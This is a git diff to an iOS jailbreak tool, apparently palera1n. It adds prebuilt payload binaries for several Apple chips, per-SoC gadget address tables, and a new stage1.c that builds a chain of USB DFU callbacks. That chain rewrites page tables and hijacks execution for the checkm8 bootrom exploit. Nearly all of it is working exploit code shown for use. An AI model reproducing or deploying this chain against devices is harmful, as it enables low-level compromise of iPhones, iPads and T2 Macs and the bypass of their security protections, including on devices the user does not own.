diff --git a/README.md b/README.md index b28c04c..be881d9 100644 --- a/README.md +++ b/README.md @@ -141,7 +141,7 @@ make palera1n_mingw WITH_STATIC=1 WITH_GUI=1 - [mineek](https://github.com/mineek) - Checkm8 exploit re-implementation (openra1n) using [gaster](https://github.com/0x7ff/gaster). - [alfiecg24](https://github.com/mineek) - Achilles, based on openra1n. -- [kok3shidoll](https://github.com/kok3shidoll) - PongoOS patches. +- [kok3shidoll](https://github.com/kok3shidoll) - PongoOS patches, ROP chain generator. - [itsnebulalol](https://github.com/itsnebulalol) - Palera1n v1. - [staturnz](https://github.com/staturnz) - Contributions, Loader. - [plooshi](https://github.com/plooshi) - Plooshfinder, various legacy patches. diff --git a/payloads/README.md b/payloads/README.md new file mode 100644 index 0000000..2683e82 --- /dev/null +++ b/payloads/README.md @@ -0,0 +1,3 @@ +# Payloads + +Payloads are gathered from https://checkra.in/1337 diff --git a/payloads/yolo_s5l8960x.bin b/payloads/yolo_s5l8960x.bin new file mode 100644 index 0000000..2709577 Binary files /dev/null and b/payloads/yolo_s5l8960x.bin differ diff --git a/payloads/yolo_s8000.bin b/payloads/yolo_s8000.bin index bce02a2..f344045 100644 Binary files a/payloads/yolo_s8000.bin and b/payloads/yolo_s8000.bin differ diff --git a/payloads/yolo_s8001.bin b/payloads/yolo_s8001.bin index 8e6abfc..6287b81 100644 Binary files a/payloads/yolo_s8001.bin and b/payloads/yolo_s8001.bin differ diff --git a/payloads/yolo_s8003.bin b/payloads/yolo_s8003.bin index 9e812e5..5cdd81c 100644 Binary files a/payloads/yolo_s8003.bin and b/payloads/yolo_s8003.bin differ diff --git a/payloads/yolo_t7000.bin b/payloads/yolo_t7000.bin index dc12d93..8495a33 100644 Binary files a/payloads/yolo_t7000.bin and b/payloads/yolo_t7000.bin differ diff --git a/payloads/yolo_t7001.bin b/payloads/yolo_t7001.bin index 262f4df..6d63542 100644 Binary files a/payloads/yolo_t7001.bin and b/payloads/yolo_t7001.bin differ diff --git a/payloads/yolo_t8010.bin b/payloads/yolo_t8010.bin index 6fb0107..9cfc776 100644 Binary files a/payloads/yolo_t8010.bin and b/payloads/yolo_t8010.bin differ diff --git a/payloads/yolo_t8011.bin b/payloads/yolo_t8011.bin index 6e557bd..ed121dd 100644 Binary files a/payloads/yolo_t8011.bin and b/payloads/yolo_t8011.bin differ diff --git a/payloads/yolo_t8012.bin b/payloads/yolo_t8012.bin new file mode 100644 index 0000000..8ee2455 Binary files /dev/null and b/payloads/yolo_t8012.bin differ diff --git a/payloads/yolo_t8015.bin b/payloads/yolo_t8015.bin index d76d511..663ba93 100644 Binary files a/payloads/yolo_t8015.bin and b/payloads/yolo_t8015.bin differ diff --git a/src/m8/checkm8.c b/src/m8/checkm8.c index 149d523..b5d9c05 100644 --- a/src/m8/checkm8.c +++ b/src/m8/checkm8.c @@ -7,6 +7,7 @@ #include "payload.h" #include "dfu.h" +#include "stage1.h" #include "../utils.h" #include "../usb/shim.h" @@ -153,28 +154,26 @@ bool checkm8_stage_spray(const usb_handle_t *handle, struct DeviceConfiguration bool checkm8_stage_patch(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig, struct PayloadConfiguration *payloadConfig) { size_t i, data_sz, packet_sz; - const uint8_t *payload = NULL; uint8_t *data; transfer_ret_t transfer_ret; bool ret = false; - void* blank[DFU_MAX_TRANSFER_SZ]; - memset(blank, 0, DFU_MAX_TRANSFER_SZ); - uint64_t* p = (uint64_t*)blank; - p[5] = payloadConfig->insecure_memory_base; + void* checkra1n_payload = NULL; + void *overwrite = NULL; + size_t checkra1n_payload_sz = 0; + size_t overwrite_sz = 0; - ret = create_pongo_payload_for_device(deviceConfig->cpid, &payload, &data_sz); + checkm8_overwrite_t checkm8_overwrite; + memset(&checkm8_overwrite, '\0', sizeof(checkm8_overwrite)); + checkm8_overwrite.callback.next = payloadConfig->insecure_memory_base; + overwrite = &checkm8_overwrite; + overwrite_sz = sizeof(checkm8_overwrite); + + ret = create_pongo_payload_for_device(deviceConfig->cpid, &checkra1n_payload, &checkra1n_payload_sz); if (!ret) return false; - LOG_VERBOSE("setting up stage 2 for CPID 0x%X", (unsigned)deviceConfig->cpid); - - data = calloc(1, data_sz); - if (!data) { - LOG_ERROR("failed to allocate payload buffer"); - return false; - } - - memcpy(data, payload, data_sz); + ret = generate_stage1(&data, &data_sz, checkra1n_payload, checkra1n_payload_sz, deviceConfig, payloadConfig); + if (!ret) return false; if(checkm8_usb_request_stall(handle) && checkm8_usb_request_leak(handle)) { LOG_VERBOSE("successfully leaked data"); @@ -186,7 +185,7 @@ bool checkm8_stage_patch(const usb_handle_t *handle, struct DeviceConfiguration LOG_VERBOSE("i = %zu", i); send_usb_control_request_no_data(handle, 2, 3, 0, 0x80, 0, NULL); } - if(p != NULL && send_usb_control_request(handle, 0x00, 0, 0, 0x00, p, 0x30, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_STALL) { + if(overwrite != NULL && send_usb_control_request(handle, 0x00, 0, 0, 0x00, overwrite, overwrite_sz, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_STALL) { ret = true; for(i = 0; ret && i < data_sz; i += packet_sz) { packet_sz = MIN(data_sz - i, DFU_MAX_TRANSFER_SZ); diff --git a/src/m8/payload.c b/src/m8/payload.c index fba3cb6..55e8d0a 100644 --- a/src/m8/payload.c +++ b/src/m8/payload.c @@ -12,6 +12,7 @@ #include "../gen/payloads/yolo_t7001.h" #include "../gen/payloads/yolo_t8010.h" #include "../gen/payloads/yolo_t8011.h" +#include "../gen/payloads/yolo_t8012.h" #include "../gen/payloads/yolo_t8015.h" bool checkm8_find_device_configuration_for_cpid( @@ -64,160 +65,116 @@ bool checkm8_find_payload_configuration_for_cpid( bool foundMatchingConfiguration = true; switch (cpid) { case A11: - config->tlbi = 0x1000004AC; - config->nop_gadget = 0x10000A9C4; - config->ret_gadget = 0x100000148; - config->patch_addr = 0x10000624C; - config->ttbr0_addr = 0x18000C000; - config->func_gadget = 0x10000A9AC; - config->write_ttbr0 = 0x10000045C; - config->memcpy_addr = 0x10000E9D0; - config->aes_crypto_cmd = 0x100009E9C; - config->boot_tramp_end = 0x18001C000; - config->ttbr0_vrom_off = 0x400; - config->ttbr0_sram_off = 0x600; - config->gUSBSerialNumber = 0x180003A78; - config->dfu_handle_request = 0x180008638; - config->usb_core_do_transfer = 0x10000B9A8; - config->dfu_handle_bus_reset = 0x180008668; - config->insecure_memory_base = 0x18001C000; - config->handle_interface_request = 0x10000BCCC; - config->usb_create_string_descriptor = 0x10000AE80; - config->usb_serial_number_string_descriptor = 0x1800008FA; + config->insecure_memory_base = 0x18001C000; + config->func_gadget = 0x10000a998; + config->tlbi = 0x1000004AC; + config->write_prim = 0x100009c48; + config->arm_clean_invalidate_dcache_line = 0x1000004e4; + config->arm_invalidate_icache = 0x1000004c0; + config->enter_critical_section = 0x10000f958; + config->exit_critical_section = 0x10000f9a0; + config->write_ttbr0 = 0x10000045c; + config->tlbi = 0x1000004ac; + config->TTBR0_PATCH_BASE = 0x180020000; + config->TTBR0_BASE = 0xc000; + config->bootstrap_task_lr = 0x180015f88; + config->payload_start_offset = 0x800; break; case T2: - config->tlbi = 0x100000494; - config->nop_gadget = 0x100008DB8; - config->ret_gadget = 0x10000012C; - config->patch_addr = 0x100004854; - config->ttbr0_addr = 0x18000C000; - config->func_gadget = 0x100008DA0; - config->write_ttbr0 = 0x100000444; - config->memcpy_addr = 0x10000EA30; - config->aes_crypto_cmd = 0x1000082AC; - config->boot_tramp_end = 0x18001C000; - config->ttbr0_vrom_off = 0x400; - config->ttbr0_sram_off = 0x600; - config->gUSBSerialNumber = 0x180003AF8; - config->dfu_handle_request = 0x180008B08; - config->usb_core_do_transfer = 0x10000BD20; - config->dfu_handle_bus_reset = 0x180008B38; - config->insecure_memory_base = 0x18001C000; - config->handle_interface_request = 0x10000BFFC; - config->usb_create_string_descriptor = 0x10000B1CC; - config->usb_serial_number_string_descriptor = 0x18000082A; + config->insecure_memory_base = 0x18001C000; + config->func_gadget = 0x100008d8c; + config->write_prim = 0x100008058; + config->arm_clean_invalidate_dcache_line = 0x1000004cc; + config->arm_invalidate_icache = 0x1000004a8; + config->enter_critical_section = 0x10000f9b8; + config->exit_critical_section = 0x10000fa00; + config->write_ttbr0 = 0x100000444; + config->tlbi = 0x100000494; + config->TTBR0_PATCH_BASE = 0x180020000; + config->TTBR0_BASE = 0xc000; + config->bootstrap_task_lr = 0x180015f78; + config->payload_start_offset = 0x800; break; case A10X: - config->tlbi = 0x100000444; - config->nop_gadget = 0x10000CD0C; - config->ret_gadget = 0x100000148; - config->patch_addr = 0x100007630; - config->ttbr0_addr = 0x1800A0000; - config->func_gadget = 0x10000CCEC; - config->write_ttbr0 = 0x1000003F4; - config->memcpy_addr = 0x100010950; - config->aes_crypto_cmd = 0x10000C994; - config->boot_tramp_end = 0x1800B0000; - config->ttbr0_vrom_off = 0x400; - config->ttbr0_sram_off = 0x600; - config->gUSBSerialNumber = 0x180083D28; - config->dfu_handle_request = 0x180088A58; - config->usb_core_do_transfer = 0x10000DD64; - config->dfu_handle_bus_reset = 0x180088A88; - config->insecure_memory_base = 0x1800B0000; - config->handle_interface_request = 0x10000E08C; - config->usb_create_string_descriptor = 0x10000D234; - config->usb_serial_number_string_descriptor = 0x18008062A; + config->insecure_memory_base = 0x1800B0000; + config->func_gadget = 0x10000cce4; + config->write_prim2 = 0x100001804; + config->arm_clean_invalidate_dcache_line = 0x10000047c; + config->arm_invalidate_icache = 0x100000458; + config->enter_critical_section = 0x10000a658; + config->exit_critical_section = 0x10000a6a0; + config->write_ttbr0 = 0x1000003F4; + config->tlbi = 0x100000444; + config->TTBR0_PATCH_BASE = 0x1800b4000; + config->TTBR0_BASE = 0xa0000; + config->bootstrap_task_lr = 0x1800a9f88; + config->payload_start_offset = 0x800; break; case A10: - config->tlbi = 0x100000434; - config->nop_gadget = 0x10000CC6C; - config->ret_gadget = 0x10000015C; - config->patch_addr = 0x1000074AC; - config->ttbr0_addr = 0x1800A0000; - config->func_gadget = 0x10000CC4C; - config->write_ttbr0 = 0x1000003E4; - config->memcpy_addr = 0x100010730; - config->aes_crypto_cmd = 0x10000C8F4; - config->boot_tramp_end = 0x1800B0000; - config->ttbr0_vrom_off = 0x400; - config->ttbr0_sram_off = 0x600; - config->gUSBSerialNumber = 0x180083CF8; - config->dfu_handle_request = 0x180088B48; - config->usb_core_do_transfer = 0x10000DC98; - config->dfu_handle_bus_reset = 0x180088B78; - config->insecure_memory_base = 0x1800B0000; - config->handle_interface_request = 0x10000DFB8; - config->usb_create_string_descriptor = 0x10000D150; - config->usb_serial_number_string_descriptor = 0x1800805DA; + config->insecure_memory_base = 0x1800B0000; + config->func_gadget = 0x10000cc44; + config->write_prim2 = 0x100001808; + config->arm_clean_invalidate_dcache_line = 0x10000046c; + config->arm_invalidate_icache = 0x100000448; + config->enter_critical_section = 0x10000A4B8; + config->exit_critical_section = 0x10000A514; + config->write_ttbr0 = 0x1000003E4; + config->tlbi = 0x100000434; + config->TTBR0_PATCH_BASE = 0x1800b4000; + config->TTBR0_BASE = 0xa0000; + config->bootstrap_task_lr = 0x1800a9f68; + config->payload_start_offset = 0x800; break; case A9X: - config->tlbi = 0x100000404; - config->nop_gadget = 0x10000CD60; - config->ret_gadget = 0x100000118; - config->patch_addr = 0x100007668; - config->ttbr0_addr = 0x180050000; - config->func_gadget = 0x10000CD40; - config->write_ttbr0 = 0x1000003B4; - config->memcpy_addr = 0x1000106F0; - config->aes_crypto_cmd = 0x10000C9D4; - config->boot_tramp_end = 0x180044000; - config->ttbr0_vrom_off = 0x400; - config->ttbr0_sram_off = 0x600; - config->gUSBSerialNumber = 0x180047578; - config->dfu_handle_request = 0x18004C378; - config->usb_core_do_transfer = 0x10000DDA4; - config->dfu_handle_bus_reset = 0x18004C3A8; - config->insecure_memory_base = 0x180000000; - config->handle_interface_request = 0x10000E0B4; - config->usb_create_string_descriptor = 0x10000D280; - config->usb_serial_number_string_descriptor = 0x18004486A; + config->insecure_memory_base = 0x180000000; + config->func_gadget = 0x10000cd38; + config->write_prim2 = 0x100001a78; + config->arm_clean_invalidate_dcache_line = 0x10000043c; + config->arm_invalidate_icache = 0x100000418; + config->enter_critical_section = 0x100009b24; + config->exit_critical_section = 0x100009b88; + config->write_ttbr0 = 0x1000003b4; + config->tlbi = 0x100000404; + config->TTBR0_PATCH_BASE = 0x180004000; + config->TTBR0_BASE = 0x50000; + config->bootstrap_task_lr = 0x180059f58; + config->payload_start_offset = 0x800; + break; + case A9: + config->insecure_memory_base = 0x180380000; + config->func_gadget = 0x10000de0c; + config->write_prim2 = 0x100001bc0; + config->arm_clean_invalidate_dcache_line = 0x10000042c; + config->arm_invalidate_icache = 0x100000408; + config->bootstrap_task_lr = 0x1800c2f58; + config->payload_start_offset = 0xc0; break; case A9_TSMC: - case A9: - config->patch_addr = 0x10000812C; - config->ttbr0_addr = 0x1800C8000; - config->memcpy_addr = 0x100011030; - config->aes_crypto_cmd = 0x10000DAA0; - config->boot_tramp_end = 0x1800E1000; - config->ttbr0_vrom_off = 0x400; - config->ttbr0_sram_off = 0x600; - config->gUSBSerialNumber = 0x180087958; - config->dfu_handle_request = 0x1800878F8; - config->usb_core_do_transfer = 0x10000EE78; - config->dfu_handle_bus_reset = 0x180087928; - config->insecure_memory_base = 0x180380000; - config->handle_interface_request = 0x10000F1B0; - config->usb_create_string_descriptor = 0x10000E354; - config->usb_serial_number_string_descriptor = 0x1800807DA; + config->insecure_memory_base = 0x180380000; + config->func_gadget = 0x10000de0c; + config->write_prim2 = 0x100001bc0; + config->arm_clean_invalidate_dcache_line = 0x10000042c; + config->arm_invalidate_icache = 0x100000408; + config->bootstrap_task_lr = 0x1800c2f58; + config->payload_start_offset = 0xc0; break; case A8X: - config->patch_addr = 0x10000AD04; - config->memcpy_addr = 0x100013F10; - config->aes_crypto_cmd = 0x100010A90; - config->boot_tramp_end = 0x1800E1000; - config->gUSBSerialNumber = 0x180088E48; - config->dfu_handle_request = 0x180088DF8; - config->usb_core_do_transfer = 0x100011BB4; - config->dfu_handle_bus_reset = 0x180088E18; - config->insecure_memory_base = 0x180380000; - config->handle_interface_request = 0x100011EE4; - config->usb_create_string_descriptor = 0x100011074; - config->usb_serial_number_string_descriptor = 0x180080C2A; + config->insecure_memory_base = 0x180380000; + config->func_gadget = 0x100010df4; + config->write_prim = 0x10000ed5c; + config->arm_clean_invalidate_dcache_line = 0x100000448; + config->arm_invalidate_icache = 0x100000424; + config->bootstrap_task_lr = 0x1800c2f68; + config->payload_start_offset = 0xc0; break; case A8: - config->patch_addr = 0x100007E98; - config->memcpy_addr = 0x100010E70; - config->aes_crypto_cmd = 0x10000DA90; - config->boot_tramp_end = 0x1800E1000; - config->gUSBSerialNumber = 0x1800888C8; - config->dfu_handle_request = 0x180088878; - config->usb_core_do_transfer = 0x10000EBB4; - config->dfu_handle_bus_reset = 0x180088898; - config->insecure_memory_base = 0x180380000; - config->handle_interface_request = 0x10000EEE4; - config->usb_create_string_descriptor = 0x10000E074; - config->usb_serial_number_string_descriptor = 0x18008062A; + config->insecure_memory_base = 0x180380000; + config->func_gadget = 0x10000ddf4; + config->write_prim = 0x10000bc2c; + config->arm_clean_invalidate_dcache_line = 0x100000448; + config->arm_invalidate_icache = 0x100000424; + config->bootstrap_task_lr = 0x1800c2f68; + config->payload_start_offset = 0xc0; break; default: LOG_ERROR("CPID 0x%x is not supported!", cpid); @@ -228,6 +185,7 @@ bool checkm8_find_payload_configuration_for_cpid( static const yolo_payload_t yolo_payloads[] = { {A11, payloads_yolo_t8015_bin, payloads_yolo_t8015_bin_len}, + {T2, payloads_yolo_t8012_bin, payloads_yolo_t8012_bin_len}, {A10X, payloads_yolo_t8011_bin, payloads_yolo_t8011_bin_len}, {A10, payloads_yolo_t8010_bin, payloads_yolo_t8010_bin_len}, {A9_TSMC, payloads_yolo_s8003_bin, payloads_yolo_s8003_bin_len}, diff --git a/src/m8/payload.h b/src/m8/payload.h index dd3f2f5..f1e1a21 100644 --- a/src/m8/payload.h +++ b/src/m8/payload.h @@ -26,27 +26,20 @@ struct DeviceConfiguration { struct PayloadConfiguration { uint64_t - tlbi, - nop_gadget, - ret_gadget, - patch_addr, - ttbr0_addr, - func_gadget, - write_ttbr0, - memcpy_addr, - aes_crypto_cmd, - boot_tramp_end, - ttbr0_vrom_off, - ttbr0_sram_off, - gUSBSerialNumber, // ?? - dfu_handle_request, - usb_core_do_transfer, - dfu_handle_bus_reset, insecure_memory_base, - handle_interface_request, - usb_create_string_descriptor, - usb_serial_number_string_descriptor; - uint32_t payload_dest_armv7; + func_gadget, + write_prim, + write_prim2, + arm_clean_invalidate_dcache_line, + arm_invalidate_icache, + enter_critical_section, + exit_critical_section, + write_ttbr0, + tlbi, + TTBR0_PATCH_BASE, + TTBR0_BASE, + bootstrap_task_lr, + payload_start_offset; }; typedef struct { diff --git a/src/m8/stage1.c b/src/m8/stage1.c new file mode 100644 index 0000000..1235f7d --- /dev/null +++ b/src/m8/stage1.c @@ -0,0 +1,223 @@ +#include "stage1.h" + +#include +#include +#include +#include + +#include "payload.h" + +#define ARM_16K_TT_L2_SHIFT 25 // page descriptor shift + +// https://github.com/palera1n/openra1n/blob/main/checkm8.c#L398-L580 +bool generate_stage1( + void** outbuf, + size_t* outlen, + void* payload, + size_t payload_sz, + struct DeviceConfiguration *deviceConfig, + struct PayloadConfiguration *payloadConfig +) { + bool wnx = false; + uint64_t write_gadget = 0; + uint32_t write_val = 0; + + uint64_t base_address = payloadConfig->insecure_memory_base; + + if(deviceConfig->cpid == A9X || deviceConfig->cpid == A10 || deviceConfig->cpid == A10X || deviceConfig->cpid == T2 || deviceConfig->cpid == A11) + { + wnx = true; + } + + size_t presize = wnx == true ? 0x800 : 0xc0; + void *buf = malloc(presize); + + uint32_t nextOffset = 0; + unsigned char* nextBuf = NULL; + dfu_callback_t* cb = (dfu_callback_t*)buf; + nextBuf = buf; + + uint32_t current_size = 0; + int count = 0; + + #define PUSH(end, func, arg0, arg1) \ + { \ + count++; \ + current_size = nextOffset + sizeof(dfu_callback_t); \ + if(!(current_size > (wnx == true ? 0x800 : 0xc0))) \ + { \ + cb->callback = payloadConfig->func_gadget; \ + if(count%3 == 0) \ + nextOffset += 0x80; \ + else \ + nextOffset += 0x20; \ + if(!end)cb->next = base_address + nextOffset; \ + uint64_t* ptr = (uint64_t*)(cb); \ + uint32_t* ptr32 = (uint32_t*)(cb); \ + ptr[15] = func; \ + if(func == payloadConfig->write_prim) \ + { \ + ptr[14] = (uint64_t)(arg0 - 4); \ + ptr32[5] = (uint32_t)arg1; \ + } \ + else if(func == payloadConfig->write_prim2) \ + { \ + ptr[14] = (uint64_t)arg0; \ + ptr32[5] = (uint32_t)arg1; \ + } \ + else if(func == payloadConfig->write_ttbr0) \ + { \ + ptr[14] = (uint64_t)arg0; \ + } \ + else if(func == payloadConfig->arm_clean_invalidate_dcache_line) \ + { \ + ptr[14] = (uint64_t)arg0; \ + } \ + nextBuf = (unsigned char*)(buf + nextOffset); \ + cb = (dfu_callback_t*)nextBuf; \ + } \ + else \ + { \ + goto fail; \ + } \ + } \ + + if((deviceConfig->cpid == A11) || (deviceConfig->cpid == T2) || (deviceConfig->cpid == A8X) || (deviceConfig->cpid == A8)) + { + write_gadget = payloadConfig->write_prim; + } + else + { + write_gadget = payloadConfig->write_prim2; + } + + uint64_t vrom_address = 0x100000000; + uint64_t sram_address = 0x180000000; + uint64_t new_va = 0x142000000; // post-exploit + uint32_t vrom_off = (vrom_address >> ARM_16K_TT_L2_SHIFT) * 8; + uint32_t new_off = (new_va >> ARM_16K_TT_L2_SHIFT) * 8; + uint32_t sram_off = (sram_address >> ARM_16K_TT_L2_SHIFT) * 8; + + uint64_t sram_rx_va = 0x140000000; // execute payload + uint64_t sram_rw_va = 0x142000000; // custom ttbr + uint32_t sram_rx_off = (sram_rx_va >> ARM_16K_TT_L2_SHIFT) * 8; + uint32_t sram_rw_off = (sram_rw_va >> ARM_16K_TT_L2_SHIFT) * 8; + + uint64_t vrom_rw_va = 0x144000000; + uint32_t vrom_rw_off = (vrom_rw_va >> ARM_16K_TT_L2_SHIFT) * 8; + + if(wnx) // only A9X-A11 + { + // VROM: 0x100000000 + uint64_t vrom_bit = vrom_address | 0x6a5; + uint32_t vrom_bit_lower = (uint32_t)(vrom_bit & 0xffffffff); + uint32_t vrom_bit_upper = (uint32_t)(vrom_bit >> 32); + PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (vrom_off + 0), vrom_bit_lower); + PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (vrom_off + 4), vrom_bit_upper); + + // Newp: 0x142000000 + uint64_t new_bit = sram_address | 0x621; // pa + new_bit |= (deviceConfig->cpid != A9X ? (1uL << 2) : (2uL << 2)); + new_bit |= (1uL << 53); // PXN + new_bit |= (1uL << 54); // XN + uint32_t new_bit_lower = (uint32_t)(new_bit & 0xffffffff); + uint32_t new_bit_upper = (uint32_t)(new_bit >> 32); + PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (new_off + 0), new_bit_lower); + PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (new_off + 4), new_bit_upper); + + // Newp: 0x144000000 + uint64_t new_bit_2 = sram_address | 0x621; // pa + new_bit_2 |= (deviceConfig->cpid != A9X ? (1uL << 2) : (2uL << 2)); + new_bit_2 |= (1uL << 53); // PXN + new_bit_2 |= (1uL << 54); // XN + uint32_t new_bit_lower_2 = (uint32_t)(new_bit_2 & 0xffffffff); + uint32_t new_bit_upper_2 = (uint32_t)(new_bit_2 >> 32); + PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (vrom_rw_off + 0), new_bit_lower_2); + PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (vrom_rw_off + 4), new_bit_upper_2); + + // SRAM: 0x180000000 + uint64_t sram_bit = sram_address | 0x3; + sram_bit |= (1uL << 63); // NS + if(deviceConfig->cpid == A11) sram_bit |= 0x10000; + if(deviceConfig->cpid == T2) sram_bit |= 0x10000; + if(deviceConfig->cpid == A10X) sram_bit |= 0xa4000; + if(deviceConfig->cpid == A10) sram_bit |= 0xa4000; + if(deviceConfig->cpid == A9X) sram_bit |= 0x54000; + uint32_t sram_bit_lower = (uint32_t)(sram_bit & 0xffffffff); + uint32_t sram_bit_upper = (uint32_t)(sram_bit >> 32); + PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (sram_off + 0), sram_bit_lower); + PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (sram_off + 4), sram_bit_upper); + } + + if(wnx) + { + write_val = (uint32_t)(((base_address & 0x01FFFFFF) | (sram_rx_va & 0xffffffff)) + payloadConfig->payload_start_offset); + } + else + { + write_val = (uint32_t)((base_address & 0xFFFFFFFF) + payloadConfig->payload_start_offset); + } + PUSH(0, write_gadget, payloadConfig->bootstrap_task_lr, write_val); + + if(wnx) // only A9X-A11 + { + PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, payloadConfig->TTBR0_PATCH_BASE + (vrom_off & ~0xff), 0); + PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, payloadConfig->TTBR0_PATCH_BASE + (new_off & ~0xff), 0); + PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, payloadConfig->TTBR0_PATCH_BASE + (sram_off & ~0xff), 0); + } + PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, base_address + payloadConfig->payload_start_offset, 0); + PUSH(wnx == true ? 0 : 1, payloadConfig->arm_invalidate_icache, 0, 0); + + if(wnx) // only A9X-A11 + { + uint64_t sram_rx_bit = sram_address | 0x6a5; + uint32_t sram_rx_bit_lower = (uint32_t)(sram_rx_bit & 0xffffffff); + uint32_t sram_rx_bit_upper = (uint32_t)(sram_rx_bit >> 32); + + uint64_t sram_rw_bit = sram_address | 0x621; + sram_rw_bit |= (deviceConfig->cpid != A9X ? (1uL << 2) : (2uL << 2)); + sram_rw_bit |= (1uL << 53); // PXN + sram_rw_bit |= (1uL << 54); // XN + uint32_t sram_rw_bit_lower = (uint32_t)(sram_rw_bit & 0xffffffff); + uint32_t sram_rw_bit_upper = (uint32_t)(sram_rw_bit >> 32); + + uint64_t vrom_rw_bit = vrom_address | 0x621; + vrom_rw_bit |= (deviceConfig->cpid != A9X ? (1uL << 2) : (2uL << 2)); + vrom_rw_bit |= (1uL << 53); // PXN + vrom_rw_bit |= (1uL << 54); // XN + uint32_t vrom_rw_bit_lower = (uint32_t)(vrom_rw_bit & 0xffffffff); + uint32_t vrom_rw_bit_upper = (uint32_t)(vrom_rw_bit >> 32); + + PUSH(0, payloadConfig->enter_critical_section, 0, 0); + PUSH(0, payloadConfig->write_ttbr0, payloadConfig->TTBR0_PATCH_BASE, 0); + PUSH(0, payloadConfig->tlbi, 0, 0); + + PUSH(0, write_gadget, vrom_rw_va + payloadConfig->TTBR0_BASE + (vrom_rw_off + 0), vrom_rw_bit_lower); + PUSH(0, write_gadget, vrom_rw_va + payloadConfig->TTBR0_BASE + (vrom_rw_off + 4), vrom_rw_bit_upper); + + PUSH(0, write_gadget, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rx_off + 0), sram_rx_bit_lower); + PUSH(0, write_gadget, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rx_off + 4), sram_rx_bit_upper); + + PUSH(0, write_gadget, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rw_off + 0), sram_rw_bit_lower); + PUSH(0, write_gadget, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rw_off + 4), sram_rw_bit_upper); + + PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, vrom_rw_va + payloadConfig->TTBR0_BASE + (vrom_rw_off & ~0xff), 0); + PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rx_off & ~0xff), 0); + PUSH(0, payloadConfig->write_ttbr0, sram_address + payloadConfig->TTBR0_BASE, 0); + PUSH(0, payloadConfig->tlbi, 0, 0); + PUSH(1, payloadConfig->exit_critical_section, 0, 0); + } + + *outlen = payload_sz + (wnx == true ? 0x800 : 0xc0); + *outbuf = malloc(*outlen); + + memset(*outbuf, 0x0, *outlen); + memcpy(*outbuf, buf, wnx == true ? 0x800 : 0xc0); + memcpy(*outbuf + (wnx == true ? 0x800 : 0xc0), payload, payload_sz); + if(buf) free(buf); + return true; + +fail: + if(buf) free(buf); + return false; +} diff --git a/src/m8/stage1.h b/src/m8/stage1.h new file mode 100644 index 0000000..ed7cc7e --- /dev/null +++ b/src/m8/stage1.h @@ -0,0 +1,31 @@ +#ifndef STAGE1_H +#define STAGE1_H + +#include +#include + +#include "payload.h" + +typedef struct +{ + uint32_t endpoint, pad_0; + uint64_t io_buffer; + uint32_t status, io_len, ret_cnt, pad_1; + uint64_t callback, next; +} dfu_callback_t; + +typedef struct +{ + dfu_callback_t callback; +} checkm8_overwrite_t; + +bool generate_stage1( + void** outbuf, + size_t* outlen, + void* payload, + size_t payload_sz, + struct DeviceConfiguration *deviceConfig, + struct PayloadConfiguration *payloadConfig +); + +#endif // STAGE1_H